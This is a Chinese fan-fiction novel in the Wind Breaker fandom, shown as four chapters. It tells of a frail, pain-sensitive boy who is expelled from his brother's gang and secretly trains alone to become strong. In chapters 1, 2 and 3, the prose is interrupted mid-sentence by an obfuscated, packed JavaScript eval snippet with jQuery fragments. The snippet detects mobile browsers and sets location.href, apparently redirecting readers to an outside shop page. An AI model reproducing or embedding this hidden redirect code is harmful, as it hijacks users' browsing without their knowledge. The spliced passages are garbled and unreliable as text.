《【防风铃】我的哥哥是个英雄》 1. 第 1 章 空荡荡的屋子,冷冷的夜风,灯在穿堂风中摇晃着,昏暗的公寓灯影明灭,原本就凄凉冷清的公寓显得愈发破旧。 要想离学校近又不想离自己家太近的房子并不好找,但也不是没有。只不过外面住的公寓怎么样生活水条件都不可能跟家里比啦,简陋一点就简陋一点吧,毕竟每个月只有这么点房租。 桂生躺在了公寓大厅的榻榻米上注视着仅仅只有一盏灯的天花板,太久没人住的屋子有一股潮湿的味道,让他鼻子痒痒的。 一个人单独住的兴奋感已经过去了,剩下的只有满屋子风里带来的冷和空虚。再怎么安慰自己,不习惯的事情就是不习惯,在家里被亲人簇拥着宠爱着长大的孩子面对只身一人的恐惧总是三言两句解决不了的。 但搬出来是桂生自己的决定,在出来之前他已经下定决心了。搬出来只是第一步,也是最难的一步。第一步成功也就意味着他的目标越来越近,来不及难过了,他现在应该高兴的。 姐姐为他打包的生活用品还在搬家的纸箱里,只从里面拿出了最低限度的洗漱用品。连那些本该填满床铺的玩偶都没有拿出来,毕竟这里也没有床,玩偶和和式的被褥不搭啦。 就当他连被褥都懒得铺,打算就这么躺在大厅地板上睡过去时,一阵激烈的电吉他声从他手机响起。屏幕上冷冰冰地显示着【有马雪成】四个字。桂生本来听到特别设定的铃声时的兴奋在看到那四个字之后变得低落,甚至本能地想要接听的动作也顿住,然后拇指一晃,滑动了对面的【拒接】。 他昨天才当着对方的面把备注从【雪哥】(Yukini)改成了全名为的就是这个,就怕自己吃不了苦,会忍不住跟哥哥撒娇。电吉他的声音随着拒接停了下来,屋子里又只剩下风声和桂生的呼吸了。 鼻头酸酸的,难过,想哭。 但是想哭的情绪还没酝酿出来,又是一阵激烈的电吉音,同样的四个字再一次出现在手机屏幕上跳动。 唔哇,可以想象到雪哥被挂断之后气急败坏的样子,现在绝对是面无表情地瞪着手机吧。桂生想了想,没忍住笑出来了一点悲伤的气氛就这么散了。然后他毫不犹豫的点了拒接,站起来去把窗户关了,去搬家的纸箱里把寝具搬出来。 但是电吉他的声音没有这么停下来,一连打了十个电话,就算拒接了也会立刻打过来。桂生干脆就直接把手机放置不管了,明明是吵吵闹闹的电吉他声音,但是一想到手机的另一边是哥哥气急败坏的一遍遍重拨……本来该愧疚的,结果意外的安心。 跟桂生这边安心入睡不一样,有马雪成快气炸了。 原本他对桂生更多的是愧疚,不论是怎样的为对方着想,他也确实不由分说把人揍了一顿,剥了他的皮,强行让他从狮子头连退出去了。但是他也没有别的办法了啊,狮子头连开始驱逐弱者了,桂生这小子因为身体有问题从小娇生惯养的长大,一直被保护得很好。 他那么弱小,被剥皮是迟早的事情让十龟亲自去剥皮的话,不管这小子能不能承受那种拳头,让十龟亲自把平时溺爱着的小鬼揍得哭爹喊娘也太残酷了吧。 有马只是在用自己的方式试图保护弟弟和十龟而已。 本来他觉得桂生这么黏着他,之后气消了之后好好解释对方肯定会理解的,大不了就是这小子跟老姐告状,然后害他被老爸揍一顿克扣一些零花钱之类的。不管怎么样,兄弟吵架这种事情最后总会和好的对吧? 但是桂生根本没有给他解释的机会,吵架之后立刻收拾了东西,然后就从家里搬出去了,甚至没有跟老姐告状没跟老爸要钱。有马心里发凉,他开始反省自己是不是揍得太用力了一点……虽然确实是从小到大第一次对弟弟使用暴力,但是真的有这么伤人吗。 所谓兄弟吵架不就是不管吵得再怎么凶狠话放得再多,晚上到了饭点还是要一起吃老姐做得乱七八糟的料理然后违心地夸好吃吗!怎么有人一声不吭就偷偷跑出去自己住了啊!有马大脑发光,有马气急败坏,有马反省自己,有马猛打电话,有马冒出黑气。 从没有闹过别扭的乖巧弟弟突然叛逆起来了怎么办,急,在线等。 搬出去的第一晚桂生睡得很好,相反有马一晚没睡。 桂生从狮子头连退出的事情说大不大说小不小,他自己本身倒是没有什么大不了的。只是他的存在本身关乎着十龟他们的态度,所以很多人都在等一个结果。 桂生是有马雪成小一岁的亲生弟弟,一直跟在有马和鹿沼的身后。他很乖巧,平时也很懂事,被家里姐姐打扮得精致漂亮,说话又好听逗两下也不哭,乱斗的时候也会自己找地方躲起来,所以在他还是个小屁孩的时候就算弱得十分离谱,加入狮子头连的时候大家也半推半就的默认了。 最初的时候有马和鹿沼罩着也勉强维持着,后来兔耳山和十龟加入之后简直被溺爱得……嗯,和东风街的绿萝老板娘一样。 他是被保护的一方,没人期待他变强,也没有人会强求他变强,他没有变强的资质。 桂生是早产儿,生下来的时候身体就带有缺陷,本来医生说这样的孩子很难活下来,但在有马家父母的精心照顾下也看起来健康的活下来了。至少看起来是健康的,表现出来的问题也只是矮小而已,他已经十五岁了,但是仍旧维持着小学生的身高。 如果仅仅是矮小就算了,身体矮小的强者也并不是不存在,至少兔耳山能站在狮子头连的顶端绝不是因为他足够高大。桂生最大的问题在于,他的神经系统有问题,他对疼痛的认知比一般人要敏感太多了,稍微粗糙的衣服都会让他浑身刺痛的程度。让这样的孩子去打架,去忍受着疼痛然后挥拳实在是太残忍了。 这是狮子头连的老人都知道的事情,所以,大家都在观望。在十龟说要驱逐弱者之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125291|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,这个鹤群里的鸡仔会不会被驱逐出去。十龟像是对大家的观望没有感知一样,将问题放置在了一边,直到有马将属于桂生的那件外套交给了他。 有马尽力了,即使十龟对于桂生像是给了某种特权一样视而不见,但是这样下去迟早有一天会出现问题。影响十龟在狮子头连的威信,又或是大家的情感被消磨。 但是在这一切发生之前还有转机,他来动手就好,他们是亲兄弟,不论有怎样的矛盾,不论桂生多么不甘心多么生气,迟早有会被原谅的一天——桂生毕竟是这样体贴的孩子啊。 当桂生从狮子头连的line群聊里退出去之后,大家才彻底意识到这次“驱逐弱者”的方针被贯彻到什么地步,也真正的意味着,狮子头连要变天了。 桂生早上起来看到手机里四十多个未接来电开始心虚了。原本对于“跟哥哥闹别扭”的新鲜感退掉之后就变成了对哥哥的愧疚。他并不是不能理解有马这么做的理由,他也并没有对有马的做法抱有什么怨言。 事实就是这样的,他太弱小了。 像是诅咒一样,他曾无数次仗着自己的弱小任性地向大家撒娇、向大家索取着优待,而现在那些优待与任性都成了一根根的尖刺,让他没有办法在狮子头连待下去。这是他自己种下的恶果,所以他不可以怨恨任何人,他必须自己将这一切饮下。 和大家在一起的时候没有人会要求他变强,没有人会强求他在不属于自己的赛道上努力——但是他自己会,就算是强求也好,就算是这样天生不适合打架的身体也好,总会有办法的对吧?他会靠着自己的力量就算是匍匐在地上,就算是浑身泥土,他也会爬回去的。 所以他必须住出来,必须离开大家的保护,必须从大家手拉手为他营造出的温室出来,感受外面的风雨。搬出来是早有预谋的,跟姐姐还有爸妈沟通了很久了,只是这次吵架成为了契机。 【雪成超——生气诶,一个人住的感觉怎么样,睡得好吗?】手机一阵嗡鸣,是姐姐发来的短信,附赠有马面无表情的侧颜偷拍。 呜哇……超不妙耶。桂生手上飞快地回着短信,说自己睡得很好、拜托老姐帮忙开导一些雪哥、再贴上可爱的贴图向姐姐撒娇。然后就开始飞速洗漱换衣服,为了避免老哥跑到学校门口堵他,他必须迅速赶到教室才行,今天的晨练先放下,总之先去教室。 因为没有住在家里,中午也没有姐姐精心准备的香香便当,只能吃干巴巴的面包。配着牛奶一起咽下去,虽然家里给的零花钱很多,就算有存款,要支付房租的话剩下的部分也不足矣像往常一样随便使用了。 明明只是搬出来而已,生活的中心好像都改变了。不过如果能够变强、能够回去站在他们的身边,这一切都是值得的吧。桂生给自己打气,然后飞快地吃完了简易的午餐。 总之先吃饱,变强的计划从今晚开始—— 2. 第 2 章 穿上酷酷的黑色皮革风衣,把头发梳成大人模样,戴上遮住整张脸的防毒面罩,拿上新买的球棍。从今天起,他!有马桂生,就是暗夜的影子、黑夜的杀手,在他的球棒下将闯出一条独属于弱者的道路。 弱者也有弱者的战斗方式吧,就算是蚂蚁也会咬人的,活下来的生物总会在危机面前进化出保护自己的方法吧!之前也背着雪成哥偷偷锻炼很久了,体脂率也有在下降,力气也有变大……现在只差实战了! 桂生是个很怕痛的孩子,他对自己的意志力和战斗水平其实多少有点数。所以在戴上面具之前他给自己戴上了口枷。一方面是怕咬到舌头,另一方面是怕自己边打边哭——太逊了是一方面,真的哭出来的话,明天大清早有马就会立刻知道他大晚上不睡觉跑出去打架了。 像是特摄片里偷偷夜晚出去做英雄的少年主角,桂生带着豪情壮志出了门。 其实独立居住的第一天桂生过得不算好,甚至称得上是手忙脚乱,但是没关系,这一天大家都过得不算好,不论是十龟还是鹿沼又或者是有马兔耳山,今天谁都别想开心。 十龟站在天台上,看着被淋湿的躺椅发呆,过了许久,直到雨飘到了脸上,被水滴的冷意刺激了一下才恍然大悟地意识到雨季来了。 如果要说资历,桂生和有马他们是一批进入狮子头连,比十龟还早了很多。当时他被丁子拉入狮子头连,就算丁子再怎么说大家都很好这里很开心,可当时连丁子都只是被他叫做“兔耳山”的时期里,他也不知道该怎么融入大家。 归功于他的强大,对于他的笨拙,大家都很热心,也很包容。可即使是善意,对于当时已经习惯了一个人的他来说也很疲惫,从簇拥中脱身,他像逃一样躲到了天台。在被阳光烤得暖呼呼的地板上,金发的孩子躺在太阳伞的阴影里,身下垫着纸箱当做午睡的床,似乎是察觉到了他的到来,揉着眼睛坐起来。 “丁子?”那孩子声音很小,带着浓浓的睡意,在这个力量至上的暴力团体里实在是柔软得过头了。像是某种本能,察觉到眼前的是个陌生男人之后那孩子紧绷起来,目光也变得锐利,随时做好了逃跑的准备。 十龟刚想说点什么来解释,触及到他身上黄色的外套,那孩子的锐利了一瞬间的目光又柔和下来。“呀…是新来的同伴吗,我是有马桂生(katsuki),有马里很弱的那个有马,要过来一起睡午觉吗?” 仅仅是因为这身外套就让他放下警惕了吗……?什么叫有马里很弱的有马?这里有很多有马吗?说起来狮子头连怎么连小学生都收?虽然脑子里还在怀疑自己到底加入了一个怎样的团体,但是身体却擅自地走到了他的身边,与他分享着纸箱做的床与伞下的阴凉。 清凉的风、温暖的阳光、身边孩子头上传来的洗发香波的果香,一切都太柔和了,以至于他一下子就入了梦。虽然只是第一次见,但他知道,这个孩子一定很喜欢这里,很喜欢狮子头连,所以明明是警惕心那么强的孩子却愿意跟他分享自己的午睡空间。 当他醒来阳光已经从金色变成鲜红的夕烧,风也变得有些冷。真的睡了很久啊,但是不等十龟爬起来,他就已经意识到了身上的不对劲。 “嘘——”察觉到他醒了迎着夕烧,坐在墙边玩手机的黑发少年向他比了禁声的手势,而旁边的金发少年指了指他的身侧。 短袖?有这么热吗,明明风还很冷。 这个时候他才意识到,自己的左手被金发的孩子霸占了,而右手被兔耳山霸占了,三个人像挤在草窝里的猫一样被阳光晒化了融再一起挤在纸箱上,又在被冷下来的风吹醒之前被盖上了两件外套。阳光的暖意被留在了身上,被两个孩子的体温和严严实实盖在身上的外套。 虽然醒来的时候因为双手被霸占太久了有些酸胀,但那确实是个好觉,很久没有做过这么好的梦了,即使不记得梦里的内容,但梦中的喜悦仍旧残留在头脑里。 后来天台成了他常驻的午睡场,桂生像是在地毯上不时刷新的猫一样,凭借糟糕的睡姿不时出现在纸箱上又或是滚落到阳光下被晒成猫干。 也怪不得鹿沼和有马会守着他睡午觉啊,直到这张过分宽敞的躺椅被摆上来,就算是睡姿糟糕的小孩也被固定住了。 真让人怀念啊,跟小桂(kachan)、有马和鹿沼的初遇。站在滴水的屋檐下,十龟看着在水洼里湿淋淋滴着水的躺椅。真是的,有形的东西也好,无形的信念之类也好,如果没有人维护就会坏掉,在雨水里失去光鲜。 之前都是谁负责把它收回来的来着……啊,是小桂啊。 “有马?这个,没关系吗”鹿沼扇了扇,把过分浓烈的烟雾扇开一些,用袖子捂着口鼻。把地上一圈的烟蒂踢开,坐在了有马的身边。 有马其实没有烟瘾,初中的时候觉得很帅也和鹿沼一起从年长的成员那里接过烟抽过两次,鹿沼自己是不习惯烟的味道,而有马是因为每一次桂生闻到他身上的烟味就会咳嗽很久,所以虽然觉得很帅,但大家都没有养成抽烟的习惯。 鹿沼知道桂生被有马剥皮的事情,他也能猜到桂生会有多不甘心,但是如果是那个孩子的话,就算经历了这样的事情,也会原谅有马的吧?毕竟所有人都知道,桂生最喜欢有马了。 “回去的话桂生会咳嗽的吧。”娴熟地,他从有马的口袋里把他随身带着的分装香水拿了出来。 “才不会,那家伙,昨天吵完架之后从家里搬出去了。”有马的声音很平淡,也很疲惫。在学校时鹿沼就注意到他的不对劲了,但现在对上那双疲惫的眼睛他才意识到事情的严重性。 “打过电话了吗?” “他不接。” “鹿沼……” “嗯?” “那个时候我是不是下手太重了。”有马自顾自的说着,他和桂生吵架的时候鹿沼并不在场,理所当然的,他也得不到回答,但是这个时候他不需要回答。鹿沼也很清楚,所以靠着他,坐在了Ori这个烟雾弥漫的角落里,安静的听着。 “我从没有对他动过手,所以这一次他才这么不能接受吗。明明以前,那些细枝末节的小事他都要跟老姐告状,这一次哭得眼泪鼻涕都出来一副狼狈的样子,老姐却什么都不知道。” “开什么玩笑啊,那小子搬出去能自己生活吗。他那点钱能住什么好房子,又是个胆小鬼,怕黑、怕鬼、怕虫,睡觉也不安稳,一天不管就自生自灭了。” 有马絮絮叨叨地说着,鹿沼安静地听着,拿出手机,点开那个熟悉的头像。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125292|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有马很担心你哦,你再不理他,他就要枯萎了。】 “有马,看这边。” “嗯?” 咔擦,快门的声音响起。有马叼着烟满脸憔悴的样子被拍下来,然后被鹿沼点击发送和文字信息一起发给了桂生。 “无聊,就算做这种事情也没用吧,那小子现在肯定恨透我了,发这种照片给他他也只会笑着说活该啦。”有马别扭地扭过头,就算不去看也知道鹿沼把照片发给了谁。嘴上这么说着他却仍然抱有某种期望地注视着鹿沼的手机。他也想帅气地像是对方突然离开一样洒脱的说“随你喜欢,自生自灭去吧”“等在外面吃够了苦头就会回来了”之类的话。 但那是他弟弟啊,那个弱小的、懂事的桂生。怎么可能真的放着不管让他在外面吃苦头。但是老姐不愿意把那家伙的住址告诉他,他只能一遍遍的打电话过去,唯一值得庆幸的,大概也只有虽然没有打通,但至少号码没有被拉黑。 其实也有想过去学校堵桂生,但是又担心,这么干过一次之后那小子连学校都不去了。也不是没这种可能吧,他身体不好的事情老师都知道,请病假都不需要过问太多。 现在他只能寄希望于鹿沼的信息,桂生的网瘾和鹿沼不相上下,也是随时拿着手机玩,不带充电宝就浑身不舒服的类型,发信息给他几乎都会秒回。 但是没有回信。 有马的心又一点点沉了下去。 那么此时桂生在做什么呢? 昏暗的路灯下,他挥舞着球棒,地上的积水被踩踏得飞溅又落下。面具下已经充满了眼泪和鼻涕,只是,带着口枷的他连哭喊都没办法发出来。 好痛,好痛,好痛。 好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛,好痛! 原来被打了会这么痛,跟吵架的时候雪哥揍的感觉完全不一样嘛!根本不是一个级别的东西!桂生想要喊出来却只能发出像野兽一样的呜咽,不可避免地流出了眼泪和鼻涕。明明提前学习了那么多格斗的技巧,努力地偷偷练习了那么多次,明明那些飞踢的动作在家里也可以做到了… 实战根本就不一样! 手臂没有伸展开就会被人打到,抬起的腿还没有踢到对方就会被攻击支撑身体的腿然后摔倒。明明面对的只是这种杂鱼一样的对手却这么狼狈。根本没法像丁子一样将那些动作展开,也没法像十龟哥一样轻松把人扳倒丢出去,做不到像雪哥一样把人打倒,甚至没法像沼哥一样一边打一边冷静地分析对面的情况。 结果最后还是只能像是什么都不懂的人一样凭借本能挥舞着四肢、球棒,一次次承受那些好像会让身体裂开碾碎的疼痛,然后挥舞着球棒把人打趴下。细碎的落下来的雨点变成了瓢泼大雨,面具里面具外都是一片湿润,最终在这场突如其来的雨中溶在一起落在地上被冲走。 打架对我来说是这么痛苦的事情啊,难怪他们都不让我出手。站在雨里的桂生将球棍染上的血在雨水中甩去,拿出手机,看着裂开的屏幕发了一会呆。 算了,明天去买新手机吧。 3. 第 3 章 没有鹿沼哥帮忙处理的伤口,放着不管只会越来越痛;没有雪哥陪着,就算遍体鳞伤也不会有人把自己抱回去;没有姐姐在的话潮湿的被子不会自己染上阳光和洗涤剂的香味…… 搬出去的话,就算说了“我回来了”也不会有人开心的说“欢迎回来”,就算回家再走也没有香香的饭菜,没有收拾的行李和离开时一样待在原地。家里似乎一直以来像魔法一样维系着整洁漂亮舒适的魔法并没有降临在出租屋里。 桂生笨拙地收拾好自己的伤口,将被打得脏兮兮的这身“英雄的装扮”丢进洗衣机,看着空荡荡的屋子轻轻叹了口气。 “果然,我是因为被爱着才能活下来的孩子啊。” 他最开始的时候,其实经常给狮子头连的同伴们包扎,即使是那个时候无力的他也在尝试着做一些力所能及的事情,只是他的“力”实在太小了,“能及”的事情实在不多。可即使只是包扎伤口,他有时候也会因为忍不住共情那样青紫狰狞的伤痛而忍不住流泪……以至于鹿沼为了让他放心自己学会了包扎,之后大家受伤也就不再让他动手了。 他像是玻璃制成的人偶一样被大家精心地爱护着。他被爱着,也爱着大家。他的心躁动着、尖哮着,他也想去爱着大家,不是仅仅在心里想着珍重着,他想做出点什么,去帮上忙,去爱他们,去成为他们的力量,去减轻他们的疼痛,去打倒他们的敌人。可是他做不到,也不被允许去做那些事情。 身体对于疼痛完全无法耐受,他盖着潮湿的被子,在硬硬的铺盖上辗转翻滚着,最后在疲惫下被迫入了眠。 桂生梦到了小时候的事情,很小很小的时候,在“那件事”发生之前久远的过去。 其实最开始有马兄弟之间的关系并不好。年龄仅仅只有一岁差距的他们,因为桂生过分糟糕的身体,不论是有马家的父母还是有马家的长女都将全部的精力投入给了这个过分脆弱的孩子。而有马雪成的童年大半的时间都被笼罩在有马桂生随时可能会死去的阴影中。 当时小小的雪成还不理解,为什么仅仅是触碰、亲吻,就会让弟弟哭出来。他被闻声而来的爸爸妈妈还有姐姐挤到远远无法触及到弟弟的地方。看着全家人为他的哭泣手忙脚乱。杂乱的世界里他被排除在外,他是围绕着“有马桂生”这个世界中心里唯一一个不被需要的人。 善意也好恶意也好,还是幼儿的桂生像是一个活着的警报器,稍许的颤动就会让他感到难受,些许的接触就会为他带来疼痛。他的生命像放在高高垒起的鹅卵石顶端的鸡蛋一样,只需要碰一下,就会坠落、摔碎,变成地上一滩虫蚁的盛宴。 桂生太弱了明明仅仅是活着,似乎就必须夺走兄弟的养料才能苟延残喘。不论雪成取得怎样的成就,都不如桂生的哭泣有效。有马家的父母为了支撑高额的医疗费用,不得不全身心投入工作里,为数不多分给家庭的时间都用来关注桂生的身体。在桂生的生死面前,雪成的悲喜似乎都不那么重要了。比起爸爸妈妈,似乎姐姐在生活里占更大的比重。 就算再怎么被教导作为哥哥要保护弟弟,年幼的有马也忍不住去讨厌,去憎恶这个从他的世界夺走一切的存在。 他以为桂生不记得的,但是桂生一直都知道。雪哥会在他的病床前咒骂“明明这种病秧子死掉就好了”那个时候雪成明明也只是个孩子,却被剥夺了放课后的时间不得不在这苍白的病院里照看输液的桂生。 桂生知道哥哥不喜欢自己,伸出去的手也好、拥抱也好、亲吻也好,都会被躲开。像是曾被开水烫过一样避开。桂生在哥哥的眼中看到过恐惧,对与他接触的恐惧。所以他也并不强求。 病秧子在学校里是很难生存的。即使他在小学的时候身体已经基本稳定下来,至少不用频繁地住院,但神经异样的敏感仍旧折磨着他。他没法和同学接触,握手、拥抱、拍肩,对他都是过分刺激的疼痛,娇弱的身体、孤僻的性格、被拒绝的社交,一切都让他成为了校园霸凌的绝佳人选。 姐姐教过他的,属于女孩子的生存法。利用规则,利用一切可以利用的东西,让自己看起来可爱一点,让自己看起来乖巧一点,借用别人的力量,借用世俗的目光来保护自己…… 只要学习好就会被老师关注,只要哭得足够可爱就会让路人插手他的闲事,只要及时避开就能躲开他们的围堵——桂生为自己的成功窃喜着,但是姐姐教他的方法并不是万能的,倚靠那些的外力的随机性终究还是太大了。 在二年级的第三个学期时,他还是被堵在了墙角。不论他怎么思考,怎么计算,都没有任何逃出的可能。也并不是完全没有可能,只是他做不到,他爬不上围墙,也上不了树,也没法像战队片里的英雄一样喊着口号打倒十多个人。 要被揍了。 当他闭上眼准备迎接那些让他的身体战栗到痉挛的疼痛时听到了这样的声音。 “我说啊,你们没有听过‘有马’这个姓氏吗?” “好逊哦,居然要这么多人才能抓到这孩子吗?” 雪地上过分鲜艳的球鞋太过刺眼了,雪地将过多的声音吸走,也成了最好的缓冲,以至于领头的人被两个人踩着脸踹倒在地上也没发出什么声音。像是英雄一样,在漫天大雪里,冲天而降和鹿沼一起说着帅气的话,将眼前他不论如何怎么算计都无法打破的困境轻易踩碎。 “我说你们,这么冷的天拉着我弟弟在外面玩什么?这家伙要是感冒的话会连累我一起挨骂啊。”有马雪成骂骂咧咧地说着,一拳一拳地揍下去,把人打倒,而鹿沼总是能恰到好处的给他的身后补上几拳,让那些试图偷袭的家伙们退下。 “喂,你没事吗?冷不冷,喂!”桂生看得正入迷,雪成那边已经打完了鹿沼那边也只剩下一点收尾。等桂生回过神的时候,雪成甚至打算把身上的外套脱下来把桂生裹住。 那样绝对会感冒啦!吓得桂生一个机灵整个人抱了上去阻止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125293|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了雪成脱衣服的行为。突然被桂生抱住,像是被刻在基因里的慌乱让雪成整个人都僵住。他的身体到现在也记得,小时候因为这样抱了抱弟弟,害弟弟大哭被老爹教训的事情。 桂生像是被吓到了一样,埋在他的怀里,从他拉开的外套拉链那里蔓延进来的独属于弟弟的体温,与在风雪里对方的洗发香波的味道。真奇怪,明明大家都是用的同样的香波同样的沐浴乳,桂生身上的味道就是不一样。 “雪哥,谢谢。”过了很久桂生才轻声说着。 “那我呢我呢,我也有好好出力哦” “也谢谢沼哥啦——” 这个弟弟好像也没有那么讨厌。 也是从那一天开始,“有马雪成”变成了“雪哥”。桂生把过分乖巧的头发剪成了和雪成一样带着些许张扬俏皮的发型,成为了雪成的跟屁虫,虽然仍旧不愿意跟别人有肢体接触,但却开朗了很多。会自豪地跟别人说他有两个像英雄一样和漫天大雪一起救他于危机中的哥哥。 甚至后来跟着一起进入狮子头连,大家还在思考要怎么称呼有马兄弟时他甚至会主动把被称呼姓氏的机会让出去。“我是桂生,有马桂生,因为我很弱嘛,叫我名字就好,有马是单指哥哥的哦,毕竟他很强。” 姐姐教他的生存法很好,但是比起其他,他更愿意倚靠会在风雪里要把外套脱给他的兄长。 桂生做了个噩梦。他没有梦见随着漫天大雪出现的英雄们,在无尽的白里他似乎又回到了那个充满消毒水气味的房间,百无聊赖的哥哥坐在他的病床旁,数着输液瓶里落下的液滴,气呼呼地诅咒着。 “这样的病秧子死掉就好了。” “死掉就好了” “这样弱小的你,为什么还活着,桂生。” 桂生惊醒了,伴随着浑身疼痛,和满身冷汗,直挺挺地坐起来迎上窗子刺入房间的晨光。 不行不行不行,就算是休息日也要打起精神才行,今天还要去买手机要收拾屋子,要把被子晒出去,要准备好料理用的东西,调味料、食材什么的。不可以再总是想着依赖大家了,要好好的独当一面才行。 桂生想拍拍脸让自己清醒一点,结果手刚抬起来就酸痛得他浑身打颤。 一个人生活好难哦。雪哥现在在做什么什么呢?还在为吵架而生气吗?不过没有一个必须时刻照顾的跟屁虫,他应该轻松很多了吧,就当做是给一直尽心尽力照顾自己的哥哥放个假吧。 左胸口一阵酸涩,那久远得他自己都以为已经忘记的咒骂仍在胸腔里回响。桂生捂住了自己的胸口,感受着自己的心跳。他必须告诉自己,这颗心仍在跳动,正是因为他是被爱着的孩子,因为这里溢满了家人的爱、同伴的爱,所以才能跳动的。 他是被爱着的孩子。他必须坚信这一点才能活下去。 而现在该他努力了,他要去抓取那些不属于他的力量,变得独当一面,去回馈这满溢的爱才行。 4. 第 4 章 提到“有马”这个名字,不论谁都会想到高大、英俊、擅长交流、打架有手段的有马雪成,就算提到有马的兄弟,大家第一反应都是鹿沼,就算刻意提到桂生,至多也就是狮子头连的同伴也只会支支吾吾说“那个啊”“啊,那个呢”。 桂生像是他们的影子,即使一直跟在他们的身边也从来没有出现在任何传闻里,以至于在乱斗里,他就蹲在不远处的草坪观战也没有人会想到抓住他去威胁谁。 就算是狮子头连的同伴里,也不是每个人都知道他,但他几乎记住了每个人。毕竟狮子头连里面最不缺的就是乐子人,总有些想要恶作剧的家伙连同伴都不放过。最初的时候他因为太信任同伴吃了不少苦头。 对于桂生来说印象最深刻的还是某个午后,有人想知道他对疼痛的敏感是不是真而趁他午睡拔他头发。那个时候桂生还小,毫无防备下遭遇这样的剧痛,他彻底地表情管理失控哭得非常丑陋。眼泪和鼻涕都涌了出来,就算捂着嘴,也克制不住喉咙里的呜咽,抱着脑袋蜷缩成一团缩在了天台的阴影里。 显然恶作剧的人也没想到他会有这么大的反应,拿着那根头发手足无措地看着,甚至来不及逃走,被同样来睡午觉的十龟和兔耳山遇到,喜提一顿暴打。那个时候桂生比被暴打的人还紧张,毕竟他真的太狼狈了。 干净漂亮的孩子谁都会喜欢,可是如果是肮脏的流着眼泪鼻涕哭闹不止的呢?他停不下来,从头部蔓延开的疼痛让他肌肉都痉挛起来,身体应激一般蜷缩着,就算用力地捂住嘴,也无法止住从喉咙里涌出的呜咽,眼泪、鼻涕、来不及咽下的涎水都在疼痛中涌了出来,止不住,停不下来。 明明只是被拔走一根头发而已,明明只是这样微不足道的小事情,却让他露出那种丑态。完蛋了,要被讨厌了,要给哥哥们丢脸了。桂生又不甘心又绝望,蜷缩着,抱着头,试图让凑过来的兔耳山和十龟不要看他的脸。 “痛痛飞飞,不痛不痛,桂生乖——” 是很温和的疼痛。所有的接触几乎都能够给桂生带来疼痛,但是这个年岁的他已经能够分清潜藏恶意的疼痛和带着体贴与心意的疼痛了。分明会感到疼痛,但心里却很温暖,很舒服,左胸前弥漫着暖意,很满足。 兔耳山轻轻地揉着他的头,十龟却把人整个抱起来,不在意那些□□,将小小的桂生整个抱在了怀中,轻轻擦去他的泪水。他没法像丁子那样巧妙地安慰他,只能将这个本该在阳光下享受午睡的孩子抱在怀中,给他些许微不足道的心安。 在喉咙里涌动的哽咽就这样止住了,痉挛的肌肉也逐渐放松,身体从应激的状态里解放出来。后来发生了什么桂生也不记得了,只记得阳光和风都很好,他们挤在一起睡了一个舒适的午觉。 也是那个时候开始,变强的种子种在了桂生的心里。力量对他来说似乎是没有必要的东西,但是他想要。他不想再让在意他的人担心了,也不想再露出那样的丑态。如果说,他的价值在于乖巧又可爱,那他就要用尽力气去维持他可爱的样子。 之后Ori的天台不再是谁都可以去的地方了,似乎只有强到被那几个人认可的家伙才有资格上去,那里像是无形中形成了一堵墙,将桂生和危险隔开,也与这个充满暴力与伤痛的世界分割。 早年来的成员还会叫他“有马的玻璃人偶”,后来加入的成员甚至不知道他的存在。 但桂生还是会玩手机的,在狮子头连的line聊天群里,他的活跃程度基本不输给鹿沼。大家在群里看到他,在现场又看不到他,一问他又说自己在场,对于场上情况如数家珍。不知道是谁开始的谣言,狮子头连里只有足够强大的新人和资历足够的老人才能知道那个不会长大的小鬼身份,不要去触碰他,不要去忤逆他,那是会带来好运的座敷童子。 至于不信邪的家伙,会有溺爱孩子的兄长们偷偷收拾。这个谣言随着时间的推移,和桂生一直没有变化的身高愈演愈烈。 丁子甚至会觉得这个外号很帅,毕竟妖怪鬼神什么的,不是超棒吗。 雪成和鹿沼听到这个传闻只觉得离谱,说他弟弟不会长大什么的也太过分了吧,对于这个身体确实真的不好的弟弟来说这个传言也太不吉利了。孩子只是从小学几年级开始就没有长高而已。不过他们也没深思,在男孩子长得最快的年纪里连着几年身高都没有变化,会被人当做妖怪也很正常啦。 十龟倒是对这种传言无所谓,反正能够保护好桂生的话离谱一点的传闻也没什么大不了的吧。而且会带来好运与繁荣的座敷童子,不是跟他的身份很相符吗? 